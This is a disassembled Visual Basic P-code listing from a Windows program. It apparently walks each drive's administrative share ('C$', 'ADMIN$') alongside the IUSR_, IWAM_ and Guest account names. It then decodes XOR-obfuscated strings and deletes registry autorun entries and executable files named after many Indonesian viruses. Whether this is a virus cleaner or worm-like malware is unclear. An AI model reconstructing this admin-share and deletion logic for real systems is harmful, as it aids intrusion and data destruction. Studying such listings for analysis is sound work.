004123b9CI4UI1
004123baFLdRfVar var_B0
004123bdAry1LdPr
004123beMemLdRfVar 20
004123c1ImpAdCallI2 pool#8, 4
004123c6FStStr var_1C8
004123c9LitI4 0
004123ceLitI4 -1
004123d3LitI4 1
004123d8LitStr ""
004123dbLitStr "\\"
004123deFLdZeroAd var_1C8
004123e1FStStrNoPop var_104
004123e4ImpAdCallI2 rtcReplace, 24
004123e9FStStr var_1CC
004123ecLitI4 1
004123f1LitStr "IWAM_"
004123f4FLdZeroAd var_1CC
004123f7FStStrNoPop var_158
004123faConcatStr
004123fbFStStrNoPop var_1A0
004123feFLdRfVar var_1A4
00412401CStr2Ansi
00412402ILdRf var_1A4
00412405LitStr ""
00412408FLdRfVar var_19C
0041240bCStr2Ansi
0041240cILdRf var_19C
0041240fFLdRfVar var_154
00412412FLdRfVar var_1C4
00412415CRec2Ansi 17
00412418FLdRfVar var_1C4
0041241bImpAdCallFPR4 fn_407f5c, 16
00412420SetLastSystemError
00412421FLdRfVar var_1C4
00412424FLdRfVar var_154
00412427CRec2Uni 17
0041242aFFreeStr var_104, var_158, var_19C, var_1A0, var_1A4, var_1C8, var_1CC
0041243bDestructAnsiOFrame 65084, 17
00412441LargeBos 141
00412443FLdI2 var_92
00412446CI4UI1
00412447FLdRfVar var_B0
0041244aAry1LdPr
0041244bMemLdRfVar 20
0041244eImpAdCallI2 pool#8, 4
00412453FStStr var_1C8
00412456LitI4 0
0041245bLitI4 -1
00412460LitI4 1
00412465LitStr ""
00412468LitStr "\\"
0041246bFLdZeroAd var_1C8
0041246eFStStrNoPop var_104
00412471ImpAdCallI2 rtcReplace, 24
00412476FStStr var_1CC
00412479LitI4 1
0041247eLitStr "IUSR_"
00412481FLdZeroAd var_1CC
00412484FStStrNoPop var_158
00412487ConcatStr
00412488FStStrNoPop var_1A0
0041248bFLdRfVar var_1A4
0041248eCStr2Ansi
0041248fILdRf var_1A4
00412492LitStr ""
00412495FLdRfVar var_19C
00412498CStr2Ansi
00412499ILdRf var_19C
0041249cFLdRfVar var_154
0041249fFLdRfVar var_1EC
004124a2CRec2Ansi 17
004124a5FLdRfVar var_1EC
004124a8ImpAdCallFPR4 fn_407f5c, 16
004124adSetLastSystemError
004124aeFLdRfVar var_1EC
004124b1FLdRfVar var_154
004124b4CRec2Uni 17
004124b7FFreeStr var_104, var_158, var_19C, var_1A0, var_1A4, var_1C8, var_1CC
004124c8DestructAnsiOFrame 65044, 17
004124ceLargeBos 67
004124d0LitI4 1
004124d5LitStr "Guest"
004124d8FLdRfVar var_158
004124dbCStr2Ansi
004124dcILdRf var_158
004124dfLitStr ""
004124e2FLdRfVar var_104
004124e5CStr2Ansi
004124e6ILdRf var_104
004124e9FLdRfVar var_154
004124ecFLdRfVar var_20C
004124efCRec2Ansi 17
004124f2FLdRfVar var_20C
004124f5ImpAdCallFPR4 fn_407f5c, 16
004124faSetLastSystemError
004124fbFLdRfVar var_20C
004124feFLdRfVar var_154
00412501CRec2Uni 17
00412504FFreeStr var_104, var_158
0041250bDestructAnsiOFrame 65012, 17
00412511LargeBos 67
00412513LitI4 1
00412518LitStr ""
0041251bFLdRfVar var_158
0041251eCStr2Ansi
0041251fILdRf var_158
00412522LitStr ""
00412525FLdRfVar var_104
00412528CStr2Ansi
00412529ILdRf var_104
0041252cFLdRfVar var_154
0041252fFLdRfVar var_22C
00412532CRec2Ansi 17
00412535FLdRfVar var_22C
00412538ImpAdCallFPR4 fn_407f5c, 16
0041253dSetLastSystemError
0041253eFLdRfVar var_22C
00412541FLdRfVar var_154
00412544CRec2Uni 17
00412547FFreeStr var_104, var_158
0041254eDestructAnsiOFrame 64980, 17
00412554LargeBos 15
00412556LitI2_Byte 65
00412558FLdRfVar var_22E
0041255bLitI2_Byte 90
0041255dForI2 64974, 1110
00412563LargeBos 93
00412565LitVar_Missing var_274
00412568LitVar_Missing var_254
0041256bLitVar_Missing var_244
0041256eFLdI2 var_92
00412571CI4UI1
00412572FLdRfVar var_B0
00412575Ary1LdPr
00412576MemLdRfVar 20
00412579ImpAdCallI2 pool#8, 4
0041257eFStStrNoPop var_104
00412581LitStr "\\"
00412584ConcatStr
00412585CVarStr var_E0
00412588FLdI2 var_22E
0041258bCI4UI1
0041258cFLdRfVar var_D0
0041258fImpAdCallFPR4 rtcVarBstrFromAnsi, 8
00412594FLdRfVar var_D0
00412597ConcatVar var_100
0041259bLitVarStr var_F0, "$"
004125a0ConcatVar var_134
004125a4ILdPr 20
004125a7VCallHresult 32, 2
004125acFFree1Str var_104
004125afFFreeVar var_E0, var_D0, var_100, var_134, var_244, var_254, var_274
004125c0LargeBos 10
004125c2FLdRfVar var_22E
004125c5NextI2 64974, 1007
004125caLargeBos 59
004125ccLitVar_Missing var_134
004125cfLitVar_Missing var_100
004125d2LitVar_Missing var_E0
004125d5FLdI2 var_92
004125d8CI4UI1
004125d9FLdRfVar var_B0
004125dcAry1LdPr
004125ddMemLdRfVar 20
004125e0ImpAdCallI2 pool#8, 4
004125e5FStStrNoPop var_104
004125e8LitStr "\\ADMIN$"
004125ebConcatStr
004125ecCVarStr var_D0
004125efILdPr 20
004125f2VCallHresult 32, 2
004125f7FFree1Str var_104
004125faFFreeVar var_D0, var_E0, var_100, var_134
00412605
00412605loc_412605:
00412605LargeBos 2
00412607
00412607loc_412607:
00412607LargeBos 2
00412609LargeBos 24
0041260bFLdI2 var_92
0041260eCI4UI1
0041260fFLdRfVar var_B0
00412612Ary1LdPr
00412613MemLdStr arg_C
00412616LitI4 2
0041261bAndI4
0041261cCBoolI4
0041261eBranchF 0x412641
00412621LargeBos 32
00412623ILdRf arg_14
00412626ILdI4 arg_10
00412629ILdRf var_98
0041262cConcatStr
0041262dPopTmpLdAdStr 65276
00412631FLdI2 var_92
00412634CI4UI1
00412635FLdRfVar var_B0
00412638Ary1LdRf
00412639ImpAdCallFPR4 pool#10, 12
0041263eFFree1Str var_104
00412641
00412641loc_412641:
00412641LargeBos 2
00412643LargeBos 10
00412645FLdRfVar var_92
00412648NextI2 65344, 156
0041264dBranch 0x412663
00412650
00412650loc_412650:
00412650LargeBos 14
00412652ILdRf var_88
00412655LitI4 259
0041265aEqI4
0041265bBranchF 0x412661
0041265eBranch 0x412663
00412661
00412661loc_412661:
00412661LargeBos 2
00412663
00412663loc_412663:
00412663LargeBos 2
00412665Branch 0x41266a
00412668
00412668loc_412668:
00412668LargeBos 2
0041266a
0041266aloc_41266a:
0041266aLargeBos 2
0041266cLargeBos 20
0041266eILdRf var_8C
00412671ImpAdCallI2 fn_407e88, 4
00412676FStR4 65352
00412679SetLastSystemError
0041267aILdRf var_B8
0041267dFStR4 65400
00412680LargeBos 0
00412682ExitProc
00412174

00412683
00412683 struct PCodePad
00412683 00 .
00412684
00412684 struct ProcDscInfo
00412684 lpObjectInfo uint32 0x403d58
00412688 wArgSize int 16
0041268a wFrameSize int 496
0041268c wPCodeBackOffset uint16 0x412174
0041268e wTotalSize uint16 0x0118
00412690 wProcOptFlags uint16 0x0000
00412692 wReserved uint16 0x0000
00412694 wBosSkipTableOff uint16 0x0000
00412696 wBaseIfaceSlot uint16 0x0013
00412698 wReserved2 uint16 0x0000
0041269a wReserved3 uint16 0x0000
0041269c
0041269c 00 01 00 00 ....
004126a0 01 00 09 00 00 00 00 10 88 fe 69 30 e4 aa ff ff ..........i0....
004126b0 f0 7b 40 00 00 00 00 00 ec 2e d2 02 51 00 03 00 .{@.........Q...
004126c0 00 00 00 00 68 fe 69 30 00 00 ff ff f0 7b 40 00 ....h.i0.....{@.
004126d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
004126e0 3c fe 69 30 62 00 ff ff f0 7b 40 00 88 04 15 00 <.i0b....{@.....
004126f0 88 04 15 00 00 00 00 00 00 00 00 00 14 fe 69 30 ..............i0
00412700 00 00 ff ff f0 7b 40 00 00 00 00 00 08 2f d2 02 .....{@....../..
00412710 52 00 03 00 00 00 00 00 f4 fd 69 30 00 00 ff ff R.........i0....
00412720 f0 7b 40 00 10 9b d2 02 1a 00 0b 00 00 00 00 00 .{@.............
00412730 14 ab d1 02 d4 fd 69 30 00 00 ff ff f0 7b 40 00 ......i0.....{@.
00412740 53 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 S...............
00412750 68 ff 01 20 00 00 ff ff ac fe 69 20 00 00 ff ff h.. ......i ....
00412760 f0 7b 40 00 1b 00 0b 00 00 00 00 00 00 00 00 00 .{@.............
00412770 00 00 00 00 50 ff 05 20 2c 2f ff ff 09 20 03 00 ....P.. ,/... ..
00412780 00 00 00 00 01 00 12 00 20 00 00 00 00 00 00 00 ........ .......
00412790 00 00 00 00 00 02 00 00 00 00 00 00 44 00 00 00 ............D...
004127a0 00 00 0e 00 00 00 00 00 fc fe 01 00 a8 fe 01 00 ................
004127b0 64 fe 01 00 60 fe 01 00 5c fe 01 00 38 fe 01 00 d...`...\...8...
004127c0 34 fe 01 00 30 ff 02 00 20 ff 02 00 00 ff 02 00 4...0... .......
004127d0 cc fe 02 00 bc fd 02 00 ac fd 02 00 8c fd 02 00 ................

004127e0
004127e0FrmMain.KIllallVirri:
004127e0LargeBos 4
004127e2ZeroRetValVar
004127e4LargeBos 5
004127e6OnErrorGoto 65535
004127e9LargeBos 24
004127ebLitVarStr var_C4, "Zfo}~h{lUD`j{fzfo}U^`gmf~zUJ|{{lg}_l{z`fgU{|g"
004127f0FStVarCopyObj var_D4
004127f3FLdRfVar var_D4
004127f6ImpAdCallI2 pool#40, 4
004127fbFStStr var_AC
004127feFFree1Var var_D4
00412801SelectCaseByte 0
00412803LitI4 0
00412808LitI4 39
0041280dFLdRfVar var_218
00412810Redim 1, 0, 16, 2176
0041281aLitVarStr var_228, "avgnt"
0041281fLitI4 0
00412824ILdRf var_218
00412827Ary1StVarCopy
00412829LitVarStr var_238, "drv_st_key"
0041282eLitI4 1
00412833ILdRf var_218
00412836Ary1StVarCopy
00412838LitVarStr var_C4, "gf{dhgVshgmh"
0041283dFStVarCopyObj var_D4
00412840FLdRfVar var_D4
00412843ImpAdCallI2 pool#40, 4
00412848CVarStr var_248
0041284bParmAry1St 65000, 2
00412851LitVarStr var_E4, "gf{dhg)shgmh"
00412856FStVarCopyObj var_F4
00412859FLdRfVar var_F4
0041285cImpAdCallI2 pool#40, 4
00412861CVarStr var_258
00412864ParmAry1St 65000, 3
0041286aLitVarStr var_104, "DZDZN"
0041286fFStVarCopyObj var_114
00412872FLdRfVar var_114
00412875ImpAdCallI2 pool#40, 4
0041287aCVarStr var_268
0041287dParmAry1St 65000, 4
00412883LitVarStr var_124, "^f{m"
00412888FStVarCopyObj var_134
0041288bFLdRfVar var_134
0041288eImpAdCallI2 pool#40, 4
00412893CVarStr var_278
00412896ParmAry1St 65000, 5
0041289cLitVarStr var_144, "^`ghdy"
004128a1FStVarCopyObj var_154
004128a4FLdRfVar var_154
004128a7ImpAdCallI2 pool#40, 4
004128acCVarStr var_288
004128afParmAry1St 65000, 6
004128b5LitVarStr var_164, "M{`\x7fl{"
004128baFStVarCopyObj var_174
004128bdFLdRfVar var_174
004128c0ImpAdCallI2 pool#40, 4
004128c5CVarStr var_298
004128c8ParmAry1St 65000, 7
004128ceLitVarStr var_184, "^`g\\ymh}lZ|yl{\x7f`zf{"
004128d3FStVarCopyObj var_194
004128d6FLdRfVar var_194
004128d9ImpAdCallI2 pool#40, 4
004128deCVarStr var_2A8
004128e1ParmAry1St 65000, 8
004128e7LitVarStr var_1A4, "]hzb"
004128ecFStVarCopyObj var_1B4
004128efFLdRfVar var_1B4
004128f2ImpAdCallI2 pool#40, 4
004128f7CVarStr var_2B8
004128faParmAry1St 65000, 9
00412900LitVarStr var_1C4, "mhnf"
00412905FStVarCopyObj var_1D4
00412908FLdRfVar var_1D4
0041290bImpAdCallI2 pool#40, 4
00412910CVarStr var_2C8
00412913ParmAry1St 65000, 10
00412919LitVarStr var_1E4, "J|lQ==Vz}`eVal{l"
0041291eFStVarCopyObj var_1F4
00412921FLdRfVar var_1F4
00412924ImpAdCallI2 pool#40, 4
00412929CVarStr var_2D8
0041292cParmAry1St 65000, 11
00412932LitVarStr var_204, "H|}fZ|yl{\x7f`zf{"
00412937FStVarCopyObj var_214
0041293aFLdRfVar var_214
0041293dImpAdCallI2 pool#40, 4
00412942CVarStr var_2E8
00412945ParmAry1St 65000, 12
0041294bLitVarStr var_2F8, "SMA_nya_Artika"
00412950LitI4 13
00412955ILdRf var_218
00412958Ary1StVarCopy
0041295aLitVarStr var_308, "Putri_Indonesia"
0041295fLitI4 14
00412964ILdRf var_218
00412967Ary1StVarCopy
00412969LitVarStr var_318, "BabelPath"
0041296eLitI4 15
00412973ILdRf var_218
00412976Ary1StVarCopy
00412978LitVarStr var_328, "Alumni Smansa"
0041297dLitI4 16
00412982ILdRf var_218
00412985Ary1StVarCopy
00412987LitVarStr var_338, "ViriSetup"
0041298cLitI4 17
00412991ILdRf var_218
00412994Ary1StVarCopy
00412996LitVarStr var_348, "SMAN1_Pangkalpinang"
0041299bLitI4 18
004129a0ILdRf var_218
004129a3Ary1StVarCopy
004129a5LitVarStr var_358, "Putri_Bangka"
004129aaLitI4 19
004129afILdRf var_218
004129b2Ary1StVarCopy
004129b4LitVarStr var_368, "SysYuni"
004129b9LitI4 20
004129beILdRf var_218
004129c1Ary1StVarCopy
004129c3LitVarStr var_378, "SysDiaz"
004129c8LitI4 21
004129cdILdRf var_218
004129d0Ary1StVarCopy
004129d2LitVarStr var_388, "SysRia"
004129d7LitI4 22
004129dcILdRf var_218
004129dfAry1StVarCopy
004129e1LitVarStr var_398, "Pluto"
004129e6LitI4 23
004129ebILdRf var_218
004129eeAry1StVarCopy
004129f0LitVarStr var_3A8, "DllHost"
004129f5LitI4 24
004129faILdRf var_218
004129fdAry1StVarCopy
004129ffLitVarStr var_3B8, "SaTRio ADie X"
00412a04LitI4 25
00412a09ILdRf var_218
00412a0cAry1StVarCopy
00412a0eLitVarStr var_3C8, "Tok-Cirrhatus"
00412a13LitI4 26
00412a18ILdRf var_218
00412a1bAry1StVarCopy
00412a1dLitVarStr var_3D8, "AllMyBallance"
00412a22LitI4 27
00412a27ILdRf var_218
00412a2aAry1StVarCopy
00412a2cLitVarStr var_3E8, "MomentEverComes"
00412a31LitI4 28
00412a36ILdRf var_218
00412a39Ary1StVarCopy
00412a3bLitVarStr var_3F8, "TryingToSpeak"
00412a40LitI4 29
00412a45ILdRf var_218
00412a48Ary1StVarCopy
00412a4aLitVarStr var_408, "YourUnintended"
00412a4fLitI4 30
00412a54ILdRf var_218
00412a57Ary1StVarCopy
00412a59LitVarStr var_418, "YourUnintendes"
00412a5eLitI4 31
00412a63ILdRf var_218
00412a66Ary1StVarCopy
00412a68LitVarStr var_428, "lexplorer"
00412a6dLitI4 32
00412a72ILdRf var_218
00412a75Ary1StVarCopy
00412a77LitVarStr var_438, "dkernel"
00412a7cLitI4 33
00412a81ILdRf var_218
00412a84Ary1StVarCopy
00412a86LitVarStr var_448, "Bron-Spizaetus"
00412a8bLitI4 34
00412a90ILdRf var_218
00412a93Ary1StVarCopy
00412a95LitVarStr var_458, "ADie suka kamu"
00412a9aLitI4 35
00412a9fILdRf var_218
00412aa2Ary1StVarCopy
00412aa4LitVarStr var_468, "winfix"
00412aa9LitI4 36
00412aaeILdRf var_218
00412ab1Ary1StVarCopy
00412ab3LitVarStr var_478, "templog"
00412ab8LitI4 37
00412abdILdRf var_218
00412ac0Ary1StVarCopy
00412ac2LitVarStr var_488, "service"
00412ac7LitI4 38
00412accILdRf var_218
00412acfAry1StVarCopy
00412ad1LitVarStr var_498, "Grogotix"
00412ad6LitI4 39
00412adbILdRf var_218
00412adeAry1StVarCopy
00412ae0FLdRfVar var_218
00412ae3FLdRfVar var_4A8
00412ae6ImpAdCallFPR4 rtcArray, 8
00412aebFLdRfVar var_218
00412aeeErase
00412aefFLdRfVar var_4A8
00412af2FStVar 65368
00412af6FFreeVar var_D4, var_F4, var_114, var_134, var_154, var_174, var_194, var_1B4, var_1D4, var_1F4, var_214
00412b0fLargeBos 24
00412b11LitI2_Byte 0
00412b13FLdRfVar var_96
00412b16FLdRfVar var_A8
00412b19CRefVarAry
00412b1bPopAdLd4
00412b1cLitI2_Byte 1
00412b1eFnUBound
00412b20CI2I4
00412b21ForI2 64340, 1111
00412b27LargeBos 55
00412b29FLdRfVar var_96
00412b2cCDargRef 16386
00412b30FLdRfVar var_A8
00412b33VarIndexLdVar 65324, 1
00412b39CStrVarVal 64336
00412b3dILdRf var_AC
00412b40LitI4 0xffffffff80000001
00412b45FLdRfVar var_F4
00412b48ImpAdCallFPR4 pool#154, 16
00412b4dFLdRfVar var_F4
00412b50CStrVarTmp
00412b51FStStr var_B0
00412b54FFree1Str var_4B0
00412b57FFreeVar var_D4, var_F4
00412b5eLargeBos 13
00412b60ILdRf var_B0
00412b63LitStr ""
00412b66NeStr
00412b68BranchF 0x412b7a
00412b6bLargeBos 15
00412b6dFLdRfVar var_B0
00412b70CVarRef 65340, 16392
00412b75ImpAdCallFPR4 rtcKillFiles, 4
00412b7a
00412b7aloc_412b7a:
00412b7aLargeBos 55
00412b7cFLdRfVar var_96
00412b7fCDargRef 16386
00412b83FLdRfVar var_A8
00412b86VarIndexLdVar 65324, 1
00412b8cCStrVarVal 64336
00412b90ILdRf var_AC
00412b93LitI4 0xffffffff80000002
00412b98FLdRfVar var_F4
00412b9bImpAdCallFPR4 pool#154, 16
00412ba0FLdRfVar var_F4
00412ba3CStrVarTmp
00412ba4FStStr var_B4
00412ba7FFree1Str var_4B0
00412baaFFreeVar var_D4, var_F4
00412bb1LargeBos 13
00412bb3ILdRf var_B4
00412bb6LitStr ""
00412bb9NeStr
00412bbbBranchF 0x412bcd
00412bbeLargeBos 15
00412bc0FLdRfVar var_B4
00412bc3CVarRef 65340, 16392
00412bc8ImpAdCallFPR4 rtcKillFiles, 4
00412bcd
00412bcdloc_412bcd:
00412bcdLargeBos 48
00412bcfFLdRfVar var_96
00412bd2CDargRef 16386
00412bd6FLdRfVar var_A8
00412bd9VarIndexLdVar 65324, 1
00412bdfCStrVarVal 64336
00412be3ILdRf var_AC
00412be6LitI4 0xffffffff80000001
00412bebFLdRfVar var_F4
00412beeImpAdCallFPR4 pool#156, 16
00412bf3FFree1Str var_4B0
00412bf6FFreeVar var_D4, var_F4
00412bfdLargeBos 48
00412bffFLdRfVar var_96
00412c02CDargRef 16386
00412c06FLdRfVar var_A8
00412c09VarIndexLdVar 65324, 1
00412c0fCStrVarVal 64336
00412c13ILdRf var_AC
00412c16LitI4 0xffffffff80000002
00412c1bFLdRfVar var_F4
00412c1eImpAdCallFPR4 pool#156, 16
00412c23FFree1Str var_4B0
00412c26FFreeVar var_D4, var_F4
00412c2dLargeBos 10
00412c2fFLdRfVar var_96
00412c32NextI2 64340, 839
00412c37SelectCaseByte 1
00412c39LitI4 0
00412c3eLitI4 11
00412c43FLdRfVar var_218
00412c46Redim 1, 0, 16, 2176
00412c50LitVarI4 65324, 0, 0
00412c58ImpAdCallI2 pool#41, 4
00412c5dFStStrNoPop var_4B0
00412c60LitStr "\\windows*"
00412c63ConcatStr
00412c64CVarStr var_258
00412c67ParmAry1St 65000, 0
00412c6dImpAdLdRf pool#12
00412c70LitVarStr var_E4, "\\ShellNew\\*.exe"
00412c75ConcatVar var_F4
00412c79ParmAry1St 65000, 1
00412c7fImpAdLdRf pool#48
00412c82LitVarStr var_104, "\\*.exe"
00412c87ConcatVar var_114
00412c8bParmAry1St 65000, 2
00412c91ImpAdLdRf pool#45
00412c94LitVarStr var_124, "\\*.vbs"
00412c99ConcatVar var_134
00412c9dParmAry1St 65000, 3
00412ca3ImpAdLdRf pool#45
00412ca6LitVarStr var_144, "\\*.exe"
00412cabConcatVar var_154
00412cafParmAry1St 65000, 4
00412cb5ImpAdLdRf pool#12
00412cb8LitVarStr var_164, "\\MyHeart.exe"
00412cbdConcatVar var_174
00412cc1ParmAry1St 65000, 5
00412cc7ImpAdLdRf pool#12
00412ccaLitVarStr var_184, "\\KesenjanganSosial.exe"
00412ccfConcatVar var_194
00412cd3ParmAry1St 65000, 6
00412cd9ImpAdLdRf pool#12
00412cdcLitVarStr var_1A4, "\\FirstLove.exe*"
00412ce1ConcatVar var_1B4
00412ce5ParmAry1St 65000, 7
00412cebImpAdLdRf pool#12
00412ceeLitVarStr var_1C4, "\\eksplorasi*"
00412cf3ConcatVar var_1D4
00412cf7ParmAry1St 65000, 8
00412cfdImpAdLdRf pool#12
00412d00LitVarStr var_1E4, "\\CintaButa*"
00412d05ConcatVar var_1F4
00412d09ParmAry1St 65000, 9
00412d0fImpAdLdRf pool#43
00412d12LitVarStr var_204, "\\*.pif"
00412d17ConcatVar var_214
00412d1bParmAry1St 65000, 10
00412d21ImpAdLdRf pool#43
00412d24LitVarStr var_228, "\\Romantic*"
00412d29ConcatVar var_248
00412d2dParmAry1St 65000, 11
00412d33FLdRfVar var_218
00412d36FLdRfVar var_268
00412d39ImpAdCallFPR4 rtcArray, 8
00412d3eFLdRfVar var_218
00412d41Erase
00412d42FLdRfVar var_268
00412d45FStVar 64320
00412d49FFree1Str var_4B0
00412d4cFFree1Var var_D4
00412d4fLargeBos 24
00412d51LitI2_Byte 0
00412d53FLdRfVar var_98
00412d56FLdRfVar var_4C0
00412d59CRefVarAry
00412d5bPopAdLd4
00412d5cLitI2_Byte 1
00412d5eFnUBound
00412d60CI2I4
00412d61ForI2 64316, 1456
00412d67LargeBos 31
00412d69FLdRfVar var_98
00412d6cCDargRef 16386
00412d70FLdRfVar var_4C0
00412d73VarIndexLdRfVarLock 65324, 64312, 1
00412d7bImpAdCallFPR4 rtcKillFiles, 4
00412d80AryUnlock 64312
00412d83FFree1Var var_D4
00412d86LargeBos 10
00412d88FLdRfVar var_98
00412d8bNextI2 64316, 1415
00412d90LargeBos 0
00412d92ExitProcCbHresult 0x10000c
004127e0